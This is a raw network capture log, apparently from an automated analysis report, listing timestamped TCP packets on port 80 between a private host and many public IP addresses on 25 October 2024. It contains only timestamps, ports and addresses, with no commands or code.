Oct 25, 2024 11:18:17.949213028 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.949282885 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.949312925 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.949328899 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.950220108 CEST	53047	80	192.168.2.5	154.53.43.150
Oct 25, 2024 11:18:17.951488018 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.951570034 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.951605082 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.951633930 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.951699018 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.951749086 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.955542088 CEST	80	53047	154.53.43.150	192.168.2.5
Oct 25, 2024 11:18:17.955641031 CEST	53047	80	192.168.2.5	154.53.43.150
Oct 25, 2024 11:18:17.962649107 CEST	80	53027	103.224.182.241	192.168.2.5
Oct 25, 2024 11:18:17.962889910 CEST	80	53029	103.224.182.241	192.168.2.5
Oct 25, 2024 11:18:17.962894917 CEST	53027	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:18:17.962939978 CEST	53029	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:18:17.965754986 CEST	53047	80	192.168.2.5	154.53.43.150
Oct 25, 2024 11:18:17.965972900 CEST	53027	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:18:17.966687918 CEST	53029	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:18:17.968442917 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.968492985 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.968523979 CEST	53031	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:17.968527079 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.968561888 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.968595028 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.968606949 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.968606949 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.968672991 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.968853951 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.968888044 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.968920946 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.968954086 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.968957901 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.968978882 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.968986988 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.969067097 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.969067097 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.969676971 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.969726086 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.969758987 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.969791889 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.969827890 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.969841957 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.969841957 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.969841957 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.969856977 CEST	80	53026	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:17.969871998 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.969957113 CEST	53026	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:17.970546007 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.970594883 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.970628977 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.970659018 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.970664024 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.970700026 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.970741987 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.970741987 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.970741987 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.971126080 CEST	80	53047	154.53.43.150	192.168.2.5
Oct 25, 2024 11:18:17.971335888 CEST	53026	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:17.971405029 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.971455097 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.971487999 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.971590996 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.971678019 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.971863985 CEST	80	53027	103.224.182.241	192.168.2.5
Oct 25, 2024 11:18:17.972027063 CEST	53027	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:18:17.972451925 CEST	80	53029	103.224.182.241	192.168.2.5
Oct 25, 2024 11:18:17.972506046 CEST	53029	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:18:17.974133015 CEST	80	53031	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:17.974183083 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.974215984 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:17.974348068 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:17.976975918 CEST	80	53026	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:17.977943897 CEST	80	53030	192.252.154.18	192.168.2.5
Oct 25, 2024 11:18:17.978208065 CEST	53030	80	192.168.2.5	192.252.154.18
Oct 25, 2024 11:18:17.978399038 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.978467941 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.978600979 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.979397058 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.979425907 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.979460955 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.979510069 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.979542971 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.979548931 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.979588032 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.979588032 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.979897022 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.979948044 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.979979992 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.980058908 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.980093956 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.980340958 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.980391979 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.980422974 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:17.980457067 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.980490923 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:17.981695890 CEST	80	53038	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:17.981728077 CEST	80	53038	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:17.981749058 CEST	53038	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:17.981760979 CEST	80	53038	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:17.981794119 CEST	80	53038	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:17.981832981 CEST	80	53038	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:17.981841087 CEST	53038	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:17.981841087 CEST	53038	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:17.981853962 CEST	53038	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:17.981862068 CEST	80	53038	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:17.981883049 CEST	53038	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:17.981947899 CEST	53038	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:17.984375954 CEST	80	53033	208.109.214.162	192.168.2.5
Oct 25, 2024 11:18:17.984432936 CEST	53033	80	192.168.2.5	208.109.214.162
Oct 25, 2024 11:18:17.989563942 CEST	53048	80	192.168.2.5	192.124.249.10
Oct 25, 2024 11:18:17.997185946 CEST	80	53048	192.124.249.10	192.168.2.5
Oct 25, 2024 11:18:17.997251034 CEST	53048	80	192.168.2.5	192.124.249.10
Oct 25, 2024 11:18:17.998169899 CEST	53048	80	192.168.2.5	192.124.249.10
Oct 25, 2024 11:18:18.004127979 CEST	80	53048	192.124.249.10	192.168.2.5
Oct 25, 2024 11:18:18.013958931 CEST	80	53040	154.53.43.150	192.168.2.5
Oct 25, 2024 11:18:18.014066935 CEST	53033	80	192.168.2.5	208.109.214.162
Oct 25, 2024 11:18:18.014081955 CEST	53040	80	192.168.2.5	154.53.43.150
Oct 25, 2024 11:18:18.019448996 CEST	80	53033	208.109.214.162	192.168.2.5
Oct 25, 2024 11:18:18.024050951 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.024085999 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.024118900 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.024152994 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.024228096 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.024307013 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.024604082 CEST	80	53039	141.193.213.11	192.168.2.5
Oct 25, 2024 11:18:18.025295019 CEST	53039	80	192.168.2.5	141.193.213.11
Oct 25, 2024 11:18:18.050652981 CEST	53040	80	192.168.2.5	154.53.43.150
Oct 25, 2024 11:18:18.056035995 CEST	80	53040	154.53.43.150	192.168.2.5
Oct 25, 2024 11:18:18.056832075 CEST	80	53041	208.109.214.162	192.168.2.5
Oct 25, 2024 11:18:18.056917906 CEST	53041	80	192.168.2.5	208.109.214.162
Oct 25, 2024 11:18:18.059518099 CEST	53039	80	192.168.2.5	141.193.213.11
Oct 25, 2024 11:18:18.065079927 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:18.065200090 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:18.065222025 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:18.065233946 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:18.065263033 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:18.065268993 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:18.065299034 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:18.065304041 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:18.065324068 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:18.065339088 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:18.065372944 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:18.065375090 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:18.065396070 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:18.065411091 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:18.065412045 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:18.065454006 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:18.065462112 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:18.065509081 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:18.065512896 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:18.065541983 CEST	80	53039	141.193.213.11	192.168.2.5
Oct 25, 2024 11:18:18.065563917 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:18.065573931 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:18.065608025 CEST	80	53009	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:18.065619946 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:18.065677881 CEST	53009	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:18.083404064 CEST	80	53028	139.59.171.124	192.168.2.5
Oct 25, 2024 11:18:18.084055901 CEST	53028	80	192.168.2.5	139.59.171.124
Oct 25, 2024 11:18:18.085975885 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:18.086009979 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:18.086045027 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:18.086078882 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:18.086113930 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:18.086123943 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:18.086148977 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:18.086203098 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:18.086204052 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:18.086252928 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:18.086263895 CEST	53041	80	192.168.2.5	208.109.214.162
Oct 25, 2024 11:18:18.086287022 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:18.086297989 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:18.086322069 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:18.086337090 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:18.086354971 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:18.086388111 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:18.086421967 CEST	80	52987	74.208.236.101	192.168.2.5
Oct 25, 2024 11:18:18.086429119 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:18.086429119 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:18.086429119 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:18.086467028 CEST	52987	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:18:18.091932058 CEST	80	53041	208.109.214.162	192.168.2.5
Oct 25, 2024 11:18:18.097429991 CEST	80	53031	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:18.097476959 CEST	53031	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:18.100744963 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.100779057 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.100877047 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.100919962 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.101630926 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.101660013 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.101694107 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.101713896 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.101713896 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.101777077 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.101794004 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.101826906 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.101840019 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.101861000 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.101883888 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.101893902 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.101933956 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.101953030 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.102628946 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.102677107 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.102679968 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.102721930 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.102730989 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.102762938 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.131494999 CEST	53028	80	192.168.2.5	139.59.171.124
Oct 25, 2024 11:18:18.134046078 CEST	53049	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:18:18.137279034 CEST	80	53028	139.59.171.124	192.168.2.5
Oct 25, 2024 11:18:18.140197992 CEST	80	53049	185.80.51.179	192.168.2.5
Oct 25, 2024 11:18:18.140269041 CEST	53049	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:18:18.140386105 CEST	53049	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:18:18.145981073 CEST	80	53049	185.80.51.179	192.168.2.5
Oct 25, 2024 11:18:18.147847891 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.147881031 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.147916079 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.147978067 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.148032904 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.167398930 CEST	80	53033	208.109.214.162	192.168.2.5
Oct 25, 2024 11:18:18.167474031 CEST	53033	80	192.168.2.5	208.109.214.162
Oct 25, 2024 11:18:18.175106049 CEST	53050	80	192.168.2.5	193.166.255.171
Oct 25, 2024 11:18:18.180689096 CEST	80	53050	193.166.255.171	192.168.2.5
Oct 25, 2024 11:18:18.180768013 CEST	53050	80	192.168.2.5	193.166.255.171
Oct 25, 2024 11:18:18.180906057 CEST	53050	80	192.168.2.5	193.166.255.171
Oct 25, 2024 11:18:18.186242104 CEST	80	53050	193.166.255.171	192.168.2.5
Oct 25, 2024 11:18:18.190689087 CEST	80	53040	154.53.43.150	192.168.2.5
Oct 25, 2024 11:18:18.190800905 CEST	53040	80	192.168.2.5	154.53.43.150
Oct 25, 2024 11:18:18.193845987 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.193876028 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.194011927 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.198901892 CEST	53051	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:18.205140114 CEST	80	53051	34.218.204.173	192.168.2.5
Oct 25, 2024 11:18:18.205327034 CEST	53051	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:18.206204891 CEST	53051	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:18.211558104 CEST	80	53051	34.218.204.173	192.168.2.5
Oct 25, 2024 11:18:18.212371111 CEST	52683	80	192.168.2.5	93.187.206.66
Oct 25, 2024 11:18:18.212611914 CEST	53055	80	192.168.2.5	93.187.206.66
Oct 25, 2024 11:18:18.213992119 CEST	80	53035	60.43.154.138	192.168.2.5
Oct 25, 2024 11:18:18.214076042 CEST	53035	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:18:18.214739084 CEST	80	53039	141.193.213.11	192.168.2.5
Oct 25, 2024 11:18:18.214827061 CEST	53039	80	192.168.2.5	141.193.213.11
Oct 25, 2024 11:18:18.217744112 CEST	80	52683	93.187.206.66	192.168.2.5
Oct 25, 2024 11:18:18.218755960 CEST	80	53055	93.187.206.66	192.168.2.5
Oct 25, 2024 11:18:18.218828917 CEST	53055	80	192.168.2.5	93.187.206.66
Oct 25, 2024 11:18:18.218969107 CEST	53055	80	192.168.2.5	93.187.206.66
Oct 25, 2024 11:18:18.223860979 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.223895073 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.223928928 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.223997116 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.224015951 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.224033117 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.224055052 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.224104881 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.224111080 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.224138975 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.224154949 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.224174023 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.224225998 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.224364042 CEST	80	53055	93.187.206.66	192.168.2.5
Oct 25, 2024 11:18:18.225022078 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.225055933 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.225086927 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.225191116 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.225224018 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.225403070 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.225502968 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.225632906 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.232969046 CEST	80	53041	208.109.214.162	192.168.2.5
Oct 25, 2024 11:18:18.233036041 CEST	53041	80	192.168.2.5	208.109.214.162
Oct 25, 2024 11:18:18.249711037 CEST	53035	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:18:18.252518892 CEST	53056	80	192.168.2.5	93.187.206.66
Oct 25, 2024 11:18:18.255278111 CEST	80	53035	60.43.154.138	192.168.2.5
Oct 25, 2024 11:18:18.259582996 CEST	80	53056	93.187.206.66	192.168.2.5
Oct 25, 2024 11:18:18.260087967 CEST	53056	80	192.168.2.5	93.187.206.66
Oct 25, 2024 11:18:18.265687943 CEST	53056	80	192.168.2.5	93.187.206.66
Oct 25, 2024 11:18:18.271333933 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.271389008 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.271421909 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.271481037 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.271526098 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.272317886 CEST	80	53056	93.187.206.66	192.168.2.5
Oct 25, 2024 11:18:18.336713076 CEST	53057	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:18:18.342550039 CEST	80	53057	81.2.194.241	192.168.2.5
Oct 25, 2024 11:18:18.342782021 CEST	53057	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:18:18.342863083 CEST	53057	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:18:18.346033096 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.346107006 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.346141100 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.346174955 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.346337080 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.346402884 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.346437931 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.346471071 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.346504927 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.347235918 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.347306967 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.347356081 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.347368956 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.347388029 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.347407103 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.347431898 CEST	53015	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:18.348232985 CEST	80	53057	81.2.194.241	192.168.2.5
Oct 25, 2024 11:18:18.366329908 CEST	52619	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:18:18.366695881 CEST	53058	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:18:18.371845007 CEST	80	53028	139.59.171.124	192.168.2.5
Oct 25, 2024 11:18:18.371922970 CEST	53028	80	192.168.2.5	139.59.171.124
Oct 25, 2024 11:18:18.371958017 CEST	80	52619	122.128.109.107	192.168.2.5
Oct 25, 2024 11:18:18.372214079 CEST	80	53058	122.128.109.107	192.168.2.5
Oct 25, 2024 11:18:18.372282982 CEST	53058	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:18:18.372564077 CEST	53058	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:18:18.378529072 CEST	80	53058	122.128.109.107	192.168.2.5
Oct 25, 2024 11:18:18.381340027 CEST	80	53044	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:18.381393909 CEST	80	53044	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:18.381400108 CEST	53044	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:18.381428003 CEST	80	53044	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:18.381465912 CEST	80	53044	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:18.381486893 CEST	53044	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:18.381486893 CEST	53044	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:18.381503105 CEST	53044	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:18.381505966 CEST	80	53044	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:18.381536007 CEST	80	53044	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:18.381576061 CEST	53044	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:18.387167931 CEST	80	53044	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:18.387289047 CEST	53044	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:18.389769077 CEST	80	52917	217.19.237.54	192.168.2.5
Oct 25, 2024 11:18:18.389834881 CEST	52917	80	192.168.2.5	217.19.237.54
Oct 25, 2024 11:18:18.394176006 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.394231081 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.394264936 CEST	80	53015	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:18.394299030 CEST	80	53015	104.26.15.53	192.168.2.5
